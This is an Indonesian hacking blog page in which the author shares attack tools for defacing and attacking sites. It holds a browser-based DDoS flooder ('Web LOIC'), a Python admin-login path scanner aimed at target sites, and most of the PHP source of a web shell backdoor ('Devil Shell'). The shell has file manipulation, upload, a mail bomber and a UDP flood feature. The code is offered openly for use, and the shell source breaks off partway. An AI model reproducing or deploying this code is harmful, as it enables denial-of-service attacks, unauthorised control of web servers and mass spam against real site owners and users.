Melcior Seisura: script

You are here: » Home » Posts filed under script

Source Cod3 Web LOIC Anonymous

1:32 AM Melcior Soares Boavida

Kembali lagi bersama saya, =-- darkcry --=, kali ini saya mo share script web LOIC yang sering dijadikan senjata oleh anonymous untuk melakukan aksinya...

gak pake panjang lebar, mari kita simak aja.... (udah kaya di acara tipi aja)...

scriptnya da saya utak-atik dikit.. cuman ganti nama doang ko.... biar seru.. maklum scriptkiddie..

bruakwkakwkak.............

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<head>

<title>OpMegaupload - Hack4You.eu</title>

var txt=" - Web LOIC anonymous - ";

var refresco=null;

function titulo() {

document.title=txt;

txt=txt.substring(1,txt.length)+txt.charAt(0);

refresco=setTimeout("titulo()",90);}

titulo();

</script>

body {background-color : black; color: white; text-align: center; width: 550px; margin: auto;}

</STYLE>

</head>

<body>

function setAttributeOnload(object, attribute, val) {

if(window.addEventListener) {

window.addEventListener("load",

function(){ object[attribute] = val; }, false);

} else {

window.attachEvent('onload', function(){ object[attribute] = val; });

}

</script>

<br />

<h2>By using TOR, you hit the Tor exit node, not the target! Do not use it !</h2>

<h1>Anonymous</h1>

<h1>Scriptkiddie Join Anonymouse<br/></h1>

<a href="https://www.facebook.com/melcior.s.boavida">Click for more info about Darkcry Scripkiddie</a>

</div>

<legend><span class="Estilo3"><strong>Step 1. Select Target: </strong></span></legend>

</label>

</strong></span>

</div>

</fieldset>

<legend><span class="Estilo3"><strong>Step 2. AIM YOUR CANNONS!</strong></span></legend>

</fieldset>

</div>

<legend><span class="Estilo3">Optional. Attack Options </span></legend>

<div align="center">Requests per second:</div>

<label>

</div>

</label>

<label>

<div align="center"><span class="Estilo3"><strong>Message:</strong></span><br />

</div>

</label>

</fieldset>

<legend><span class="Estilo3">Attack status:</span></legend>

<dl>

<dt><strong>Request:</strong></dt>

<dt><strong>Achieved:</strong></dt>

<dt><strong>Failed:</strong></dt>

</dl>

</fieldset>

</div>

(function () {

var fireInterval;

var isFiring = false;

var currentTime = new Date()

var lastSuccess = currentTime.getTime();

var requestedCtrNode = document.getElementById("requestedCtr"),

succeededCtrNode = document.getElementById("succeededCtr"),

failedCtrNode = document.getElementById("failedCtr"),

targetURLNode = document.getElementById("targetURL"),

fireButton = document.getElementById("fireButton"),

messageNode = document.getElementById("message"),

rpsNode = document.getElementById("rps"),

timeoutNode = document.getElementById("timeout");

var targetURL = targetURLNode.value;

targetURLNode.onchange = function () {

targetURL = this.value;

};

var requestsHT = {}; // requests hash table, may come in handy later

var requestedCtr = 0,

succeededCtr = 0,

failedCtr = 0;

var makeHttpRequest = function () {

if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests

return;

} else { lastSuccess = currentTime.getTime();};

var rID =Number(new Date());

var img = new Image();

img.onerror = function () { onFail(rID); };

img.onabort = function () { onFail(rID); };

img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);

requestsHT[rID] = img;

onRequest(rID);

};

var onRequest = function (rID) {

requestedCtr++;

requestedCtrNode.innerHTML = requestedCtr;

};

var onComplete = function (rID) {

delete requestsHT[rID];

};

var onFail = function (rID) {

failedCtr++;

failedCtrNode.innerHTML = failedCtr;

succeededCtr++; //Seems like the url will always fail it it isn't an image

succeededCtrNode.innerHTML = succeededCtr;

delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser

};

var onSuccess = function (rID) {

succeededCtr++;

succeededCtrNode.innerHTML = succeededCtr;

delete requestsHT[rID];

};

fireButton.onclick = function () {

if (isFiring) {

clearInterval(fireInterval);

isFiring = false;

this.innerHTML = "Fire Again!";

} else {

isFiring = true;

this.innerHTML = "Stop Shooting!";

fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));

}

};

function FireIbero() {

if (isFiring) {

clearInterval(fireInterval);

isFiring = false;

this.innerHTML = "Shoot Again!";

} else {

isFiring = true;

this.innerHTML = "Stop flooding";

fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));

}

}; })();

</script>

</div>

</body>

</html>

›—‑»

Admin Finder

11:43 PM Melcior Soares Boavida

Dalam aktifitas Hacking pada defacer tidak terlepas dari pencarian halaman admin, nah kali ini saya mau share script python yang bisa membantu dalam pencarian halaman admin. (saya coba di linux Backtrack).
ni Scriptnya... :

#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'blackbuntu':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "| Admin login finder |"
print "| author: zer03s!!! |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "| Admin login finder |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administ
racion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/ac
c
ount.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.ht
ml','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','adm
i
n_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html'
,
'adminpanel.html','webadmin.html','w ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','pa
n
el-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php',
'
admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin
/
admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moder
a
tor.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','contro
l
panel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html'
,'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderato
r
.htm l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m odelsea
r
ch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.h
t
ml','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane l.h
t
ml','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adm
i
narea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.p
h
p','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php', 'admin2/login.php','admin2/index.php','adm/index.php','adm.php',
'
affiliate.php','adm_auth.php ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "| contact me : zer03s[at]hackermail[dot]com |"
print "|----------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass

›—‑»

Ugdevilz Backdoor

8:41 PM Melcior Soares Boavida

hallo world...
kali ini saya mo share alat yang selalu digunakan untuk dunia hacking.. gak lain klo bukan backdoor...
alat ini selalu dibutuhkan untuk kegiatan deface atau hacking site... gak pake panjang lebar ni scriptnya.:
klo mo donlot disini :)

ni scriptnya, silakan dilihat-lihat dulu.

<?php
//========================================//
//========+++DEVIL SHELL 1.2v+++==========//
//========================================//
//====+++CODED BY UNDERGROUNDE DEVIL+++===//
//========================================//
//=====+++TEAM NUTS|| HACKNUTS.COM+++=====//
//========================================//
//====+++EMAIL ID UGDEVIL@GMAIL.COM+++====//
//========================================//
session_start();
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
?>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>?????g?s??? ????l: a? ????a? ?a¢???</title>
<head><script type=text/javascript>
function only_num(x)
{
y=x.replace(/[^\d]{1,100}/,'' );
return y;
}
</script></head>
<body text=#336666 bgcolor="#0000000" oncontextmenu="return false;">
<?php
$pstr="Q3JlZGl0IDogVW5kZXJncm91bmQgRGV2aWwgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7RW1haWw6IHVnZGV2aWxAZ21haWwuY29t ";
$pv=@phpversion();
$self=$_SERVER["PHP_SELF"];
$sm = @ini_get('safe_mode');

if(isset($_GET['open']))
{
chdir($_GET['open']);
$_SESSION['dir']=$_GET['open'];
}
else if(isset($_GET['create']))
{
chdir($_GET['create']);
$_SESSION['dir']=$_GET['create'];
}

if(isset($_POST['dsub']))
{
header('location:'.$self."?open=".$_POST['ndir']);
}

function validate_email($e1,$e2,$n)
{

if( (filter_var($e1,FILTER_VALIDATE_EMAIL)) && (filter_var($e2,FILTER_VALIDATE_EMAIL)) )
{
if(is_numeric($n))
{
$error="";
return $error;
}
else
{
$error="Enter valid number of messages";

}
}
else
{$error="Enter Valid Email Id";}

return $error;

}

function sept()
{
$sepr=explode('?',$self);
echo $sepr[0];
}

if(isset($_SESSION['a'])&& !isset($_GET['edit']))
{
function dis()
{
if(!ini_get('disable_functions'))
{
echo "None";
}
else
{
echo @ini_get('disable_functions');
}
}
function logout()
{
session_destroy();
header('location:'.$self);
}
function yip()
{
echo $_SERVER["REMOTE_ADDR"];
}
function odi()
{
$od = @ini_get("open_basedir");
echo $od;
}
function sip()
{
echo getenv('SERVER_ADDR');
}
function cip()
{
echo $_SERVER["SERVER_NAME"];
}
function safe()
{
echo($sm?"YES":"NO");
}
function browse()
{
$brow= $_SERVER["HTTP_USER_AGENT"];
print($brow);
}
function split_dir()
{
$de=explode("/",getcwd());
$del=$de[0];
for($count=0;$count<sizeof($de);$count++)
{
$imp=$imp.$de[$count].'/';

echo "<a href=".$self."?open=".$imp.">".$de[$count]."</a> / ";
}

}
function mysql_ver()
{
$output = shell_exec('mysql -V');
preg_match('@[0-9]+\.[0-9]+\.[0-9]+@', $output, $ver);
return $ver[0];
}

if(isset($_GET['delete']))
{
unlink($_GET['delete']);
$redir=$_GET['delete'];
header('location:'.$self.'?open='.$_SESSION['dir']);
}
function disk($this)
{
if($this=='2')
$ds=disk_free_space(".");
else
$ds=disk_total_space(".");

if($ds>=1073741824)
{
$ds=number_format(($ds/1073741824),2)." gb";
}
else if($ds>=1048576)
{
$ds=number_format(($ds/1048576),2)." mb";
}
else if($size >= 1024)
{
$ds=number_format(($ds/1024),2)." kb";
}
else
{
$ds=$ds." byte";
}

return $ds;
}

if($_GET['u']=='logout')
{
logout();
header('location:'.$self);
}
else if(isset($_POST['u']))
{
move_uploaded_file($_FILES['a']['tmp_name'],$_FILES['a']['name']);
move_uploaded_file($_FILES['b']['tmp_name'],$_FILES['b']['name']);
move_uploaded_file($_FILES['c']['tmp_name'],$_FILES['c']['name']);
}

$str="PHA+PHN0cm9uZz48dT5EZXZpbCBWMS4yIFBIUCBTaGVsbDwvdT48L3N0cm9uZz48L3A+DQo8cD48YnIgLz4NCkRldmlsIFYxLjIgUEhQIFNoZWxsIGlzIGEgUEhQIFNjcmlwdCwgd2hpY2ggaXMgaGFyZGx5IGRldGVjdGFibGUgYXMgbWFsaWNpb3VzIGNvZGUgY3JlYXRlZCBmb3IgY2hlY2tpbmcgdGhlIHZ1bG5lcmFiaWxpdHkgYW5kIHNlY3VyaXR5IGNoZWNrIG9mIGFueSB3ZWIgc2VydmVyIG9yIHdlYnNpdGUuIFlvdSBjYW4gY2hlY2sgeW91ciBXZWJzaXRlIGFuZCA/cmVtb3RlIHdlYiBzZXJ2ZXIgU2VjdXJpdHkuIFRoaXMgc2hlbGwgcHJvdmlkZSB5b3UgbW92ZSBpbiBzZXJ2ZXIgZGlyZWN0b3J5ICx2aWV3aW5nIGZpbGVzIHByZXNlbnQgaW4gZGlyZWN0b3J5ICx5b3UgY2FuPyBkZWxldGUgLGVkaXQgYW5kIHVwbG9hZCBwcm9maWxlcy4gTW9yZSBvdmVyIHlvdSBjYW4gY2hlY2sgOiA8c3Ryb25nPlNlcnZlciBJUCAsWW91ciBJUCwgSG9zdGVkICBQSFAgVmVyc2lvbiAsIFNlcnZlciBQb3J0LCBTYWZlIG1vZGUgOiBZZXMvTm8sIERpc2sgU3BhY2UsIGZyZWUgU3BhY2UsTWFpbCBCb21iaW5nPC9zdHJvbmc+IDxzdHJvbmc+RERvUyBBdHRhY2ssTWFpbCBCb21iaW5nLENyZWF0ZSBGaWxlIGFuZCBGb2xkZXIgZXRjPC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5MaW1pdGF0aW9uczwvc3Ryb25nPjxiciAvPg0KTW9zdGx5IEZ1bmN0aW9uIGFyZSB3b3JraW5nIG9uIGxpbnV4IHNlcnZlcnMuPC9wPg0KPHA+PHN0cm9uZz5BYm91dCBDb2Rlcjwvc3Ryb25nPjo8YnIgLz4NCiAgU2NyaXB0IGlzIGNyZWF0ZWQgYnkgVW5kZXJncm91bmQgRGV2aWwgYW4gSW5kaWFuIEV0aGljYWwgaGFja2VyIFdpdGggdGhlIGhlbHAgb2YgVGVhbSBOVVRTIGFuZCBNeSBmcmllbmRzIC53aG8gZ2F2ZSBtZSBpZGVhIGFuZCBlbmNvdXJhZ2UgdG8gbWFrZSB0aGlzLkkgd291bGQgYmUgcmVhbGx5IHRoYW5rZnVsIHRvIDxzdHJvbmc+TWF5YW5rLFJhaHVsIGFuZCBBbmVlc2g8L3N0cm9uZz4gd2hvIGhlbHBlZCB0byBkZXZlbG9wLjwvcD4NCjxwPllvdSBjYW4gZG93bmxvYWQ/IHRoaXMgc2NyaXB0IGZyb20gPHN0cm9uZz50ZWFtbnV0cy5pbjwvc3Ryb25nPj8gLnRoaXMgaXMgcmVsZWFzZSB1bmRlciA8c3Ryb25nPkdOVSBHRU5FUkFMIFBVQkxJQyBMSUNFTlNFPC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5EZWNsYXJhdGlvbiA8L3N0cm9uZz48YnIgLz4NClRoaXMgc2NyaXB0IG9ubHkgZm9yIGVkdWNhdGlvbiBwdXJwb3NlIC5Eb24ndCBtaXNzIHVzZSBpdCBvdGhlcndpc2UgdGhlIHNjcmlwdCBtYWtlciBpcyBub3QgcmVzcG9uc2liZSBmb3IgYW55IGNhc3VhbGl0eSBvciBkYW1hZ2UuPC9wPg0KPHA+PHN0cm9uZz5JbnN0YWxsYXRpb246PC9zdHJvbmc+PGJyIC8+DQpTaW1wbGUgaW5zdGFsbGF0aW9uIGp1c3QgcGVuZXRyYXRlIHRoZSBmaWxlIHVzaW5nIEZUUCBvciBodG1sIFVwbG9hZGVyIG9uIHNlcnZlciBhbmQgY2hlY2sgdGhlIHNpdGUgdnVsbmVyYWJpbGl0eS4gPC9wPg0KPHA+VGhpcyBpcyBwYXNzd29yZCBwcm90ZWN0ZWQgc2hlbGwgc28geW91IGNhbiBzZW5kIGVtYWlsIHRvIGdldCB1c2VybmFtZSBvciBwYXNzd29yZDxiciAvPg0KICBhdCA8c3Ryb25nPnVnZGV2aWxAZ21haWwuY29tPC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5TdWdnZXN0aW9uL0J1ZyBSZXBvcnQ6PC9zdHJvbmc+PGJyIC8+DQogIE91ciB0ZWFtIGRvIHRoZSBoYXJkd29yayBmb3IgbWFraW5nIHRoaXMsYWZ0ZXJ0aGF0IGlmIHlvdSBmaW5kIGFueSBidWdzLCBkb24ndCBoZXNpdGF0ZSB0byBpbmZvcm0gbWUgYXQgdWdkZXZpbEBnbWFpbC5jb20gPC9wPg0KPHA+RG93bmxvYWQ8YnIgLz4NCiAgWW91IGNhbiBkb3dubG9hZCBzaGVsbCBhdCBoYWNrbnV0cy5jb20gYW5kIGFsc28gdmlzaXQgdGVhbW51dHMuaW4gZm9yIGxhdGVzdCB2ZXJzaW9uLm9yIHlvdSBjYW4gbWFpbCBtZSBmb3IgdGhpcyBzY3JpcHQgYXQgdWdkZXZpbEBnbWFpbC5jb208L3A+DQo=";

?>
<table width=100%>
<tr><td bgcolor="#000000"><table>
<tr width=100 height=20><td width=100 bgcolor=green></td><td rowspan=3><font color=#33CCCC face="Monotype Corsiva" size=7><?php echo base64_decode("RGV2aWwgU2hlbGw="); ?></font> <font color=#FFffff><?php echo base64_decode('VjEuMg=='); ?></font></tr>
<tr width=100 height=20 bgcolor=white><th><font color=blue><?php echo base64_decode("SU5ESUE="); ?></font></th></tr>
<tr width=100 height=20 bgcolor=orange><td></td></tr>
</table>

</td>
</tr>
<tr><td bgcolor="#000000"> <hr class=li><a href=<?php echo $self."?open="; ?>>Shell</a> | <a href=<?php echo $self."?create=".$_SESSION['dir']?>>Create File</a> |
<a href=<?php echo $self."?moreinfo"; ?>>More Information</a> |
<a href=<?php echo $self."?mail"; ?>>Mail Bomber</a> |
<a href=<?php echo $self."?phpinfo"; ?>>PHP Info</a> |
<a href=<?php echo $self."?dos"; ?>>DOS ATTACK</a> |
<a href=<?php echo $self;?>?warning>Declaration</a> |
<a href=<?php echo $self;?>?self>Self Kill</a> |
<a href=<?php echo $self;?>?u=logout>Logout</a></td>
</tr>
<tr><td bgcolor="#000000"> <hr class=li><span class=hd>Server IP :</span><span class=head> <?php cip(); ?></span>
    <span class=hd>Your IP :</span><span class=head> <?php yip(); ?></span>
    <span class=hd>PHP Version :</span> <span class=head><?php echo $pv; ?></span>

  <span class=hd>Server Port :</span> <span class=head><?php echo $_SERVER['SERVER_PORT'];?></span>
    <span class=hd>Safe Mode :</span> <span class=head><?php safe();?></span>
    <span class=hd>Disk Space :</span> <span class=head><?php echo disk(1);?></span>
    <span class=hd>free Space :</span> <span class=head><?php echo disk(2);?></span>
<br><br>
<span class=hd>Your System info :</span> <span class=head><?php echo php_uname(); ?></span><br>
<br>
<span class=hd>View Other Directories</span> <span class=head>[<a href=<?php echo $self;?>?open=c:/>C:</a>]</span> | <span class=head>[<a href=<?php echo $self;?>?open=D:/>D:</a>]</span>
| <span class=head>[<a href=<?php echo $self;?>?open=E:/>E:</a>]</span>
<br>
<span class=hd>Directory : </span> <span class=head><?php echo split_dir();?></span>
<hr class=li>
</td></tr>
<tr><td bgcolor="#000000">
<table width=100% class=tab>

<?php
if(isset($_GET['create']))
{
if(isset($_SESSION['a']))
{
echo "<form action=$self?edit=".$_SESSION['a']." method=post>";
}
else
{
echo "<form action=$self?edit= method=post>";

}

?>
<center>
<table>
<tr><td><span class=head>File Name </span> </td><td><input type=text name=fn size=70></td></tr>
<tr><td colspan=2><span class=head>File content</td></tr>
<tr><th colspan=2><center><textarea rows=15 cols=70 name=fc></textarea></th></tr>
<tr><th colspan=2><input type=submit value="Create File">
</th></tr></table>
</form>
<?php
}
else if(isset($_GET['warning']))
{

echo base64_decode($str);

}
else if(isset($_GET['phpinfo']))
{
echo "<center>".phpinfo();
}
else if(isset($_GET['self']))
{
unlink(__FILE__);
}
else if(isset($_GET['moreinfo']))
{
?>
<center>

<table width=90%>
<tr><th colspan=2 width=200> Brief Information </th></tr>
<tr><td class=head><b>Server Admin : </td><td><?php echo $_SERVER['SERVER_ADMIN']; ?></td></tr>
<tr><td class=head><b>Server Name : </td><td><?php cip(); ?></td></tr>
<tr><td class=head><b>Server IP : </td><td> <?php cip(); ?> </td></tr>
<tr><td class=head><b>Server PORT : </td><td><?php echo $_SERVER['SERVER_PORT'];?></td></tr>
<tr><td class=head><b>Safe Mode : </td><td><?php echo @ini_get("safe_mode")?("<b>Enable(<font color=red>Secure</font>)"):("Disable(<font color=white>Insecure</font>)"); ?></td></tr>
<tr><td class=head><b>Base Directory : </td><td><?php echo @ini_get("open_basedir")?("<b>Enable(<font color=red>Secure</font>)"):("Disable(<font color=white>Insecure</font>)"); ?></td></tr>
<tr><td class=head><b>Your IP : </td><td><?php yip(); ?></td></tr>
<tr><td class=head><b>PHP VERSION : </td><td><?php echo $pv; ?></td></tr>
<tr><td class=head><b>Curl</td><td><?php echo function_exists('curl_version')?("<b>Enable"):("Disable"); ?></td></tr>
<tr><td class=head><b>Oracle : </td><td><?php echo function_exists('ocilogon')?("<b>Enable"):("Disable"); ?></td></tr>
<tr><td class=head><b>MySQL : </td><td><?php echo function_exists('mysql_connect')?("<b>Enable"):("Disable");?></td></tr>
<tr><td class=head><b>MSSQL :</td><td><?php echo function_exists('mssql_connect')?("<b>Enable"):("Disable"); ?></td></tr>
<tr><td class=head><b>PostgreSQL :</td><td><?php echo function_exists('pg_connect')?("<b>Enable"):("Disable"); ?></td></tr>
<tr><td class=head><b>Disable functions :</td><td><?php dis(); ?></td></tr>
<tr><td class=head><b>Total Disk Space : </td><td><?php echo disk(1);?></td></tr>
<tr><td class=head><b>Free Space : </td><td><?php echo disk(2);?></td></tr>
<tr><td class=head><b>OS</td><td><?php echo php_uname(); ?></td></tr>
<tr><td class=head><b>Server Software : </td><td><?php echo $_SERVER['SERVER_SOFTWARE']; ?></td></tr>

</table>
<?php
}
else if(isset($_GET['download']))
{
$size = filesize($_GET['download']);
$r=explode('//',$_GET['download']);
for($i=0;$i<sizeof($r);$i++)
{
$fd=$r[$i];
}

header("Content-Type: application/force-download;name=$fd");

}
else if(isset($_GET['mail']))
{

if(isset($_POST['send_email']))
{

$_POST['num']=stripslashes($_POST['num']);
$_POST['sen'] = stripslashes($_POST['sen']);
$_POST['rec'] = stripslashes($_POST['rec']);
$_POST['sub'] = stripslashes($_POST['sub']);
$_POST['msg'] = stripslashes($_POST['msg']);

$sen=$_POST['sen'];
$rec=$_POST['rec'];
$num=$_POST['num'];
$sub=$_POST['sub'];
$msg=$_POST['msg'];

if(($sen!="")&&($rec!="")&&($num!="")&&($sub!="")&&($msg!=""))
{

$error=validate_email($sen,$rec,$num);
if($error=="")
{
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/plain"."; charset=windows-1251\r\n";

$headers .= "From: ".$sen;

for($i=0;$i<$num;$i++)
{

mail($rec,$sub,$msg,$headers) or die('<b>Message Sending Failed</b>');

}

}
}
else
{
$error="Fill all the fields";

}
}
$zzz=<<<zzx
<form action= $self?mail= method="post">
<table>
<tr><td><b>Sender's Email</b></td><td><input type=text name=sen value=$sen></td></tr>
<tr><td><b>Receipent's Email</b></td><td><input type=text name=rec value=$rec></td></tr>
<tr><td><b>Number</b></td><td><input type=text name=num onkeyup="this.value=only_num(this.value)" maxlength=7 value=$num></td></tr>
<tr><td><b>Subject</b></td><td><input type=text name=sub value=$sub></td></tr>
<tr><td><b>Message</b></td><td><textarea name=msg rows=10 cols=40 >$msg</textarea></td></tr>
<tr><td></td><td><input type=submit name=send_email value=send ></td></tr><br/>
<tr><td colspan="2"><p style=" font-size:25px"><b>$error</b></p></td></tr>
</table>
</form>
zzx;
echo $zzz;

}
else if(isset($_GET['rename']))
{
echo "<form action=# method=post>New File name <input type=text name=rf><br><input type=submit value='Rename File' name=srf></form>";
if(isset($_POST['srf']))
{
rename($_GET['rename'],$_POST['rf']);
header('location:'.$self."?open=".$_SESSION['dir']);
}
}
else if(isset($_GET['dos']))
{
if(!isset($_POST['dsub']))
{
echo "<center><form action=# method=post><table><tr><td colspan=2><h2>DOS ATACK</h2> <tr><td>Target Server IP : </td><td><input type=text name=ddos value=".$_SERVER["SERVER_NAME"]."></td></tr>
<tr><td>Server Port : </td><td><input type=text name=dpos value=".$_SERVER['SERVER_PORT']."></td></tr>
<tr><td>Time Execution : </td><td><input type=text name=dtim></td></tr>
<tr><th colspan=2><input type=Submit name=dsub value='attack--->'></th></tr>
<tr><td colspan=2 height=100></td></tr>
</form></table>";
}
else
{

$sip=$_POST['ddos'];
$port=$_POST['dpos'];
$t=time()+$_POST['dtim'];
$send = 0;
print "DOS Atack on $ip using ".$port."PORT <br><br>";
for($i=0;$i<99999;$i++)
{
$get .= "FLOOD";
}
do
{
$send++;
}
while(time() > $max_time);

$fo = fsockopen("udp://$sip", $port, $errno, $errstr, 5);
if($fo)
{
fwrite($fo, $get);
fclose($fo);
}

echo "DOS completed @ ".date("h:i:s A")."<br> Total Data Send [" . number_format(($send*65)/1024, 0) . " MB]<br> Average Data per second [". number_format($send/$_POST['dtim'], 0) . "]";
}
}
else if($handle = opendir('./'))
{
while (false !== ($file = readdir($handle)))
{
if(is_dir($file))
{
$directories[] = $file;
}
else
{
$files[] = $file;
}
}
asort($directories);
asort($files);
$kb=filesize($file)/1024;

foreach($directories as $file)
{ if($bg%2==0)
echo "<tr bgcolor=#353535>";
else
echo "<tr bgcolor=#242424>";
$kb=number_format(filesize($file)/1024,2);
echo "
<td valign=top><a href=".$self."?open=".realpath('.')."/".$file."><span class=li>".$file."</span> </a></td><td class=li>     ...<td valign=top class=li width=150>".date ("m/d/Y | H:i:s", filemtime($file))."</td>
<th width=100><font color=white>".substr(sprintf('%o', fileperms(realpath(''))), -3)."</td>
<td><a href=".$self."?open=".realpath('.')."/".$file."><span class=li>Open</span></a> | <a href=".$self."?delete=".realpath('.')."/".$file."><span class=li>Delete</span></a>
</td>";
$bg++;
}

foreach($files as $file)
{
if($bg%2==0)
echo "<tr bgcolor=#353535>";
else
echo "<tr bgcolor=#242424>";
$kb=number_format(filesize($file)/1024,2);
echo "<form>
<td valign=top><a href=".$self."?edit=".realpath('')."><span class=li>".$file."</span> </a></td><td class=li>     ".$kb."kb<td valign=top class=li>".date ("m/d/Y | H:i:s", filemtime($file))."</th>
<th><font color=white>".substr(sprintf('%o', fileperms(realpath(''))), -3)."</td>
<td><a href=".$self."?edit=".realpath('.')."/".$file."><span class=li>View</span></a> | <a href=".$self."?rename=".realpath('.')."/".$file."><span class=li>Rename</span></a>|<a href=".$self."?delete=".realpath('.')."/".$file."><span class=li>Delete</span></a> | <a href=".$self."?download=".realpath('.')."/".$file."><span class=li>Download</span></a> ";
$bg++;
}

?>

</table>
</td>
</tr>
<tr height=30><td bgcolor="#000000" ><table><form action=# method=post enctype=multipart/form-data><tr><td><span class=hd>Upload file 1 : </td><td><input type=file name=a size=80 class=upl></span></td></tr>
<tr><td><span class=hd >Upload file 2 : </td><td><input type=file name=b size=80 class=upl></span></td></tr>
<tr><td><span class=hd>Upload file 3 : </td><td><input type=file name=c size=80 class=upl></span>
<tr><td>
<input type=submit value=Upload name=u class=sub></td></tr></form>
<form action=<?php echo $self;?> method=post>

<tr><td>
<form action=# method=post>
<span class=hd>Change Permission : </td><td><input type=text name=cper Value=<?php echo "'From Current Folder'"; ?> size=40>&nbsp
<select name=cc1>
<?php
for($k=1;$k<=7;$k++)
echo "<option>".$k;
?>
</select name=cc2>
<select>
<?php
for($k=1;$k<=7;$k++)
echo "<option>".$k;
?>
</select>
<select name=cc3>
<?php
for($k=1;$k<=7;$k++)
echo "<option>".$k;
?>
</select>

 <input type=submit value=go name=dper></span>
</form>
</td></tr>
<tr><td>
<span class=hd>Go : </td><td><input type=text name=ndir Value=<?php echo realpath(''); ?> size=80>   <input type=submit value=go name=dsub></span></td></tr>
</form>
</table>

</td>
</tr>

<?php
}

echo "<tr height=25><th bgcolor=#000000><span class=tab><font color=#336666>".base64_decode($pstr)."</span></th></tr>
</table>";
}

else if(isset($_GET['edit'])&&isset($_SESSION['a']))
{
if(isset($_POST['fn'])&& !empty($_POST['fc']))
{

if(empty($_SESSION['dir']))
{
$fo=fopen($_POST['fn'],"a");
}
else
{
$fo=fopen($_SESSION['dir']."/".$_POST['fn'],"a");
}

fwrite($fo,$_POST['fc']);
fclose($fo);
header('location:'.$self."?open=".$_SESSION['dir']);

}
else if(isset($_POST['fdata'])&&!empty($_POST['fdata']))
{
$b_dir=$_GET['edit'];
$exp=explode("/",$b_dir);
for($i=0;$i<sizeof($exp);$i++)
{
$txt=$exp[$i];
}
echo "File name is : ".$txt."<br>";
$fd=fopen($_GET['edit'],'w');
fwrite($fd,$_POST['fdata']);
fclose($fd);
header('location:'.$self."?open=".$_SESSION['dir']);
}
else
{

?>

<table width=100%><tr bgcolor=#000000><td>File Name:<?php echo $_GET['edit']; ?> [<a href=<?php echo $self; ?>>Main Page</a>]</font>
<form action=# method=post><tr bgcolor=#33CCCC><td><center>
<textarea rows=30 cols=100 name=fdata>
<?php
$fedit=$_GET['edit'];
$frd=fopen($fedit,"r");
while(!feof($frd))
{
echo htmlspecialchars(fgets($frd));

echo "$fp";
}

?>
</textarea>

<hr class=li>
<input type=submit value="   Edit File   " name=fdat class=lin>

<hr class=li>
</form>
</td></tr>

</td></tr>

</table>
<?php
}
}
else
{
$cuser=md5($_POST['uname']);
$puser=md5($_POST['pass']);
?>
<center><table height=400 border=0 background="abcc.jpg" width=400 ALT="CREATED IN INDIA">
